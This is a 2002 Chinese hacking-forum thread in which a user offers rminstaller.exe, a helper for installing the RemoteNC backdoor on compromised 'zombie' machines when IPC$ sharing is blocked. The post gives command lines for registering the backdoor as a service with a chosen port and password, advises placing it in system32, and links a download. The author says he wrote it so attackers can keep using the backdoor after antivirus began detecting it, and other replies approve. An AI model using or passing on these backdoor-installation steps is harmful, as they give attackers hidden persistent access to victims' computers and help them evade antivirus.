>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  remotenc的万能安装
发表文章 发表涂鸦
  回复数:3  点击数:472 将此页发给您的朋友        
作者 主题: remotenc的万能安装 回复 | 收藏 | 打印 | 篇末
Meteor帅哥哦
级别:高级站友
威望:1
经验:0
货币:6
体力:0.2
来源:CyberSpace
总发帖数:138
注册日期:2001-12-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

何谓remotenc的万能安装?
答:由于有时因为某些原因,入侵者可以上载文件上去肉机中去,但是可能ipc被禁止了,
而且由于remotenc这后门是需要ipc向远程复制文件的,这会导致安装remotenc这后
门的失败,但我写了一个小程序,这程序是rminstaller.exe,只要你可以上载文件上
去肉机中去,就可以安装Remotenc这后门,无论ipc是否开放。使用时要将文件全都
复制在肉机中同一个目录中去,最好就是在system32那目录了.

用法非常简单,你要将rminstaller.exe,instsrv.exe,remotenc.exe复制到肉机中去,然
后在命令行中执行:rminstall.exe "服务器名字" remotenc.exe 端口 密码
这里的"服务器名字",最好用引号引住,因为这样你的服务器名字中间是可以有空格的,
remotenc.exe这个文件你可以改名,但改名后,你需要更正你的安装语法,
例如你将remotenc.exe改名为abc.exe,那么安装的语法就是这样了
rminstaller.exe "服务器名字" abc.exe 端口 密码

下面就给大家几个例子参考一下
1.rminstaller.exe "Windows Killer Service" remotenc.exe 1234 password

2.rminstaler.exe "Windows Remotenc Service" abc.exe 1234 pass
(这里因为remotenc.exe被改名为abc.exe了,所以你要在写时输入abc.exe,而不是remotenc.exe)

我要声明一点就是,remotenc是小榕本人作品,instsrv.exe是win 2k resource kit中的一个程序,
三个可执行程序中,只有rminstaller.exe是我写的,亦是一个20分钟程序,测试了一下,还算可以
,如果有什么问题的话,可以在论坛中发贴说明。

我写这个小程的原因主要是因为remotenc已被查杀了,但这个remotenc现在还没被查杀,或者将来亦
会被查杀,但至少可以让大家多用一会。

下载如下:
slackbot.no-ip.com/rminstaller.zip



[ 此消息由 Meteor 在 2002-04-04.10:58:19 编辑过 ]

编辑 删除 发表时间发表于 2002-04-04.10:42:44   MSIE 5.01 Windows 2000IP: 已记录
aloner帅哥哦
级别:长 老 级
威望:0
经验:0
货币:151
体力:4.8
来源:NetxEyes
总发帖数:606
注册日期:2002-02-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

let me try
----------------------------------------------------------
Flying...

编辑 删除 发表时间发表于 2002-04-04.10:49:52   MSIE 6.0 Windows 2000IP: 已记录
Meteor帅哥哦
级别:高级站友
威望:1
经验:0
货币:6
体力:0.2
来源:CyberSpace
总发帖数:138
注册日期:2001-12-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

slackbot.no-ip.com/rminstaller.zip

编辑 删除 发表时间发表于 2002-04-04.10:49:52   MSIE 5.01 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:15
货币:99939
体力:100
来源:不知道
总发帖数:2601
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

哈哈 和我想的基本一样:)instsrv.exe加载服务

----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-04-04.12:07:00   MSIE 5.01 Windows 2000IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题